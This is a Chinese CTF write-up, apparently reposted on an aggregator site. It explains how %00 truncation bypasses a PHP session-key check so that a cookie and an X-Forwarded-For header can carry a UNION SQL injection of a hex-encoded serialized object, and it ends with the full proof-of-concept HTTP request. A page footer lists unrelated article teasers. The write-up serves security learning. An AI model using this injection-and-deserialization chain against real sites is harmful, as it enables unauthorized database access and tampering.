server sql 去 反斜杠_%00截断配合反序列化的奇妙利用

2ce1608da5702aa5cdc5885ca7bebe42.png

文章来源:安全客

原文链接:%00截断配合反序列化的奇妙利用 - 安全客,安全资讯平台

前言

前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了%00的截断来绕过安全校验,最终利用反序列化达成目的。

漏洞分析

可控点

整个代码十分的简单,就是猜数字的游戏,但是按照正常的逻辑是无法成功的,那么必然存在漏洞。

config.php中:

foreach ($_GET as $key => $value ) {$_GET[$key] = daddslashes($value);
}
foreach ($_POST as $key => $value ) {$_POST[$key] = daddslashes($value);
}
foreach ($_COOKIE as $key => $value ) {$_COOKIE[$key] = daddslashes($value);
}
foreach ($_SERVER as $key => $value ) {$_SERVER[$key] = addslashes($value);
}
function daddslashes($string) {if(!get_magic_quotes_gpc()) {if(is_array($string)) {foreach($string as $key => $val) {$string[$key] = daddslashes($val);}} else {$string = addslashes($string);}}return $string;
}

对GET、POST、Cookie和SERVER都进行了转义。

分析session.class.php代码:

class session
{function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID'){$this->dbConn  = $db;$this->session_name = $session_name;$this->session_table = $session_table;$this->_ip = $this->real_ip();// some other codeif ($session_id == '' && !empty($_COOKIE[$this->session_name])){$this->session_id = $_COOKIE[$this->session_name];}// some other codeif ($this->session_id){$this->load_session();}else{$this->gen_session_id();setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));}}function real_ip(){static $realip = NULL;if ($realip !== NULL){return $realip;}if (isset($_SERVER)){if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];}elseif (isset($_SERVER['HTTP_CLIENT_IP'])){$realip = $_SERVER['HTTP_CLIENT_IP'];}else{if (isset($_SERVER['REMOTE_ADDR'])){$realip = $_SERVER['REMOTE_ADDR'];}else{$realip = '0.0.0.0';}}}else{$realip = '0.0.0.0';}return $realip;}
}

其中,变量$this->_ip是由函数real_ip()得到,其实是从$_SERVER['HTTP_X_FORWARDED_FOR']等变量中取到的,意味着变量$_SERVER['HTTP_X_FORWARDED_FOR']是可控的。

变量$this->session_id是从变量$_COOKIE["SESSID"]中得到的,同样是可控的。

所以目前看到这里,我们已经知道了变量$this->_ip和变量$this->session_id都是我们可控的。

漏洞点

发现在初始化中存在如下代码:

if ($this->session_id) {$this->load_session();
}

如果存在$this->session_id,则调用load_session()函数,跟踪进入到load_session()中,进一步分析

function load_session()
{$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");$session = $res->fetch_array();if (empty($session)){$this->insert_session();}else{$GLOBALS['_SESSION']  = unserialize($session['data']);}
}

可以发现,在SQL语句中直接使用了$this->_ip,而这个$this->_ip是我们可控的,$this->session_id也是可控的,其次最后将数据取出来时使用了unserialize($session['data'])反序列化的操作。

根据直觉猜解,这个问题可能和SQL注入以及序列化漏洞有关。

漏洞利用

根据上面的猜测,漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数$this->_ip,虽然我们可控,但是还是被'包裹,同时之前也进行了转义,所以如果要利用必须要能够逃逸出单引号。其次,对于序列化漏洞,需要从$session['data']中读入数据,所以要能够利用序列化漏洞的话,则需要$session['data']的内容是可控的。但是通过分析,对于数据库中data表的数据我们是不可控的,所以序列化的利用也存在很大的问题了。

其实问题的本质是在于SQL注入漏洞,如果能够成功地进行union注入,也就意味着$session['data']的内容是可控的。那么问题就转为了如何进行注入了,注入的关键问题是在于逃脱引号。

分析SQL语句SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'

如果$this->_ip无法逃逸出单引号,那么可以考虑一下$this->session_id是否能够逃逸出单引号。继续分析代码,

$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{$this->session_id = $tmp_session_id;
}

可以发现使用了substr()方法进行了阶段,那么是否能够利用截断的方法得到一个呢?通过一个例子进行说明:

$mystr = "c4ca4238a0b923820dcc509a6f75849'";
$mystr = addslashes($mystr);
var_dump($mystr);   // 结果为 c4ca4238a0b923820dcc509a6f75849' (length=33)
var_dump(substr($mystr, 0, 32));  //结果为 c4ca4238a0b923820dcc509a6f75849 (length=32)

说明通过截断的方式保留是可行的。

解决了SQL注入的问题,接下来就需要解决反序列化的问题,序列化是字符串,但是由于之前使用了addslashes进行转义,即使能够使用SQL注入也无法进行反序列,此时需要可以采用十六进制来解决这个问题了。

漏洞实施

在进行实际的测试时,我发现通过'会存在问题。当我们设置SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059时,代码运行至:

$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{$this->session_id = $tmp_session_id;
}

其中的$tmp_session_id,截断之后变为c4ca4238a0b923820dcc509a6f75849。此时计算:

$this->gen_session_key($tmp_session_id)    // 得到 eb2d9059
substr($this->session_id, 32)              // 得到 'eb2d9059

可以看到多余的'被保留了,导致此处的判断无法相等,这样就存在问题。后来想到可以使用%00的方式得到

$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00";
$mystr = urldecode($mystr);
$mystr = addslashes($mystr);
var_dump($mystr);    // 得到  QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)

这样多余的0就可以作为后面的校验值了。

当我们设置SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457时,运行的结果如下:

f992c295bd142247c3e294f5c03d50b6.png

这样就完成了SQL注入的第一步了,下面就是构造序列化的内容,然后转换为十六进制。序列化的内容十分的简单,需要设置分数大于100份即可,a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";},转换为十六进制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d

至此,所有的问题都解决了,最后的PoC为:

GET URL HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457
X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d #
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

注意设置Cookie和XXF。

总结

一般的截断通过是为了保留得到单引号,但是相较于常规的截断手法,你会发现在本例中完全不适用,无法绕过关键的校验是$this->gen_session_key($tmp_session_id) == substr($this->session_id, 32),同时在绕过了这个校验之后还需要保留单引号,最终采用%00截断完美地解决了这个问题。

这是一道非常好的题目,虽然所有的考察点都知道,但是结合在一起确实如此的精妙,遇到了问题看来需要多想多思考,在安全这条路上还有很长的一段路要走。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/505618.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机内码和国际码的转换,汉字机内码、国标码和区位码之间转换关系图

《汉字机内码、国标码和区位码之间转换关系图》由会员分享,可在线阅读,更多相关《汉字机内码、国标码和区位码之间转换关系图(1页珍藏版)》请在人人文库网上搜索。1、区位码区位码 (4 4位十进制位十进制) 国标码国标码 (十六进制十六进制) 机内码机内码 …

刷卡提示57能恢复吗_硬盘格式化之后数据还能恢复吗?

硬盘格式化之后数据还能恢复吗? 移动硬盘是工作生活中常用的一种存储介质,如果在其中存储了重要的数据,但是却因为中了病毒、人为删除或者不小心误删除文件或是格式化等而导致数据丢失该怎么办?移动硬盘数据可以恢复吗?如何进行移…

win7电脑蓝屏没有修复计算机,教你win7开机蓝屏怎么修复

在使用电脑的过程中,经常会遇到一些问题,最常见的莫过于win7开机蓝屏了,很多朋友并不知道win7开机蓝屏怎么修复,那么遇到win7开机蓝屏的情况应该怎么办呢?下面小编针对此问题教程大家开机蓝屏怎么修复。方法一、系统自…

如何计算给定一个unigram语言模型_CS224n笔记[5]:语言模型(LM)和循环神经网络(RNNs)...

CS224n笔记[5]:语言模型(LM)和循环神经网络(RNNs)作者:郭必扬许久没更新了,十分惭愧,翻了翻之前的笔记,才之前上一期我们讲的是“依存分析”。本期,我们介绍一下语言模型…

怎么从计算机上删除东西吗,怎么在电脑中删除不想要的软件

在电脑中删除不想要的软件该怎么操作呢,那么怎么在电脑中删除不想要的软件的呢?下面是学习啦小编收集整理的怎么在电脑中删除不想要的软件,希望对大家有帮助~~在电脑中删除不想要的软件的方法工具/原料笔记本电脑 或者台式电脑方法/步骤用鼠标点击选择电…

js输出100以内的质数_Python 计数质数

一个很经典的问题,从 2 到 N ,一共有多少个质数??一个非常 Naive 的方法,从 2 到 N,判断每个数是不是质数只判断一个数是不是质数,需要 的时间,现在有 N 个数,那么就是 埃…

计算机通信常用的纠错方式,纠错

纠错是指一种用于纠正在传送或存储数据期间产生的出错数据的方法。纠错可以有几种方法,其中最常见的方法是重传纠错和前向纠错。中文名纠错外文名error correcting所属学科通信原理与基本技术功 能纠正产生的出错数据常见方法重传纠错、前向纠错等应 用现代数…

word总积分怎么算计算机,Word文档怎么计算积分

回答:1、求和:作一表格,填入一系列数字,光标定位于最后一格中,点击表格工具栏中的∑,即可求得总和;2、求平均数:填入一系列数字,光标定位于最后一格中,点击菜单中的“表格”-“公式”,在弹出对话框中填入公式“AVERAGE…

kmeans算法中的sse_聚类算法入门:k-means

一、聚类定义聚类分析(cluster analysis)就是给你一堆杂七杂八的样本数据把它们分成几个组,组内成员有一定的相似,不同组之间成员有一定的差别。区别与分类分析(classification analysis) 你事先并不知道有哪几类、划分每个类别的标准。比如垃圾分类就是…

win7局域网计算机 慢,Win7系统开机宽带连接很慢怎么办?

Win7系统用户在使用电脑系统上网时,都需要对宽度进行连接,但有用户反映在开机时机宽带连接非常缓慢,甚至要等上十来分钟,这使用户非常苦恼,那么Win7系统开机宽带连接很慢应该怎么办呢?接下来下面就来教大家…

小天才被限定使用时长的应用_家庭腕上社交新场景,OPPO Watch、小天才开启暖心联动...

说到小天才手表,相信家长朋友们都或多或少的听说过,或者正在给孩子使用。可爱的造型和实用的功能还有亲民的价格,让小天才手表成为青少年智能穿戴领域的热门产品。特别是对于正在上幼儿园和小学阶段的小朋友来说,支持通话和定位功…

ef 多个左联接查询_.NET 云原生架构师训练营(模块二 基础巩固 EF Core 查询)--学习笔记...

2.4.5 EF Core -- 查询关联数据加载客户端与服务端运算跟踪与不跟踪复杂查询运算原生 SQL 查询全局查询筛选器关联数据加载学员和助教都在项目分组中&#xff0c;调整模型&#xff0c;删除 AssistantProjectGroup 添加 Member 列表public List<Member> Members { get; se…

用友 无法正确解析服务器,用友T3软件登陆软件时提示:“可能无法正确解析服务器名称或者相应的端口被禁用,请尝试输入服务器的IP地址”?...

你好&#xff01;现在想要建立2015年的年度账&#xff0c;但新建年度账 是2016年 怎么解决&#xff1f; 你好&#xff01;现在想要建立2015年的年度账&#xff0c;但新建年度账 是2016年 怎么解决&#xff1f;[]您账才 做到2014年&#xff0c;要建立2015年度账&#xff1f;服务…

来自网页的消息服务器繁处理忙,EventSource 对象用于接收服务器发送事件通知,是网页自动获取来自服务器的更新...

//--------------------------------客户端代码-----------------------------if(typeof(EventSource) ! "undefined") {var source new EventSource("../api/v1/event.source");source.onmessage function(event) {$("#content_event").html(…

linux定向查日志_linux日志查找技巧

基础命令# 查询日志尾部最后10行的日志;tail -n 10 test.log#查询10行之后的所有日志;tail -n 10 test.log# 查询日志文件中的头10行日志;head -n 10 test.log# 查询日志文件除了最后10行的其他所有日志;head -n -10 test.log# 查看日志的尾部&#xff0c;并刷新显示日志变动。…

三国杀服务器改名 插图修改,《三国杀》大幅修改的武将——新旧两版,你更喜欢哪一位...

三国杀中&#xff0c;某些武将因为太强或者太弱&#xff0c;不能适应游戏环境&#xff0c;都会进行修改&#xff0c;例如&#xff1a;李丰、马良、伏皇后、曹冲等等&#xff0c;但这些武将修改之后&#xff0c;原有武将就淘汰了。其实&#xff0c;还有一类武将&#xff0c;技能…

php开源mvccms_轻松理解MYSQL MVCC 实现机制

1. MVCC简介1.1 什么是MVCCMVCC是一种多版本并发控制机制。1.2 MVCC是为了解决什么问题?大多数的MYSQL事务型存储引擎,如,InnoDB&#xff0c;Falcon以及PBXT都不使用一种简单的行锁机制.事实上,他们都和MVCC–多版本并发控制来一起使用.大家都应该知道,锁机制可以控制并发操作…

苹果电脑mac_清理Mac苹果电脑DNS缓存

说到清理苹果电脑想必不少网友会说苹果电脑不需要清理&#xff0c;但事实情况是现在对于“苹果电脑清理”的这个话题一直在不断地热议中&#xff0c;虽说Mac OS X系统它的优化比较好&#xff0c;很多小的无效数据文件会自动归类清除&#xff0c;但很多时候一些稍大的数据文件仍…

学python需要记笔记吗_开始学python,一些笔记

想想其实应该还是像在linux下一样在命令行下测试的&#xff0c;但是先跟着一个教程在IDE上试试手吧。1. 中文编码&#xff0c;我用的是python2.6.9 加两行注释&#xff1a;#!/usr/bin/python2.6# -*- coding: utf-8 -*-我原以为第一行是Python的安装目录&#xff0c;所以找了很…

鼠标追踪没用_【擺评】赛睿里最好用的小手鼠标---Rival 3

拿到这鼠标真的是有段时间了&#xff0c;深度体验了一个多月。先说&#xff0c;这是我用过所有赛睿鼠标里最喜欢的鼠标&#xff0c;虽然它不贵&#xff0c;虽然它是有线的&#xff0c;但真的舒服&#xff01;可能我也没用过几个赛睿的鼠标&#xff0c;仅有以下几款&#xff0c;…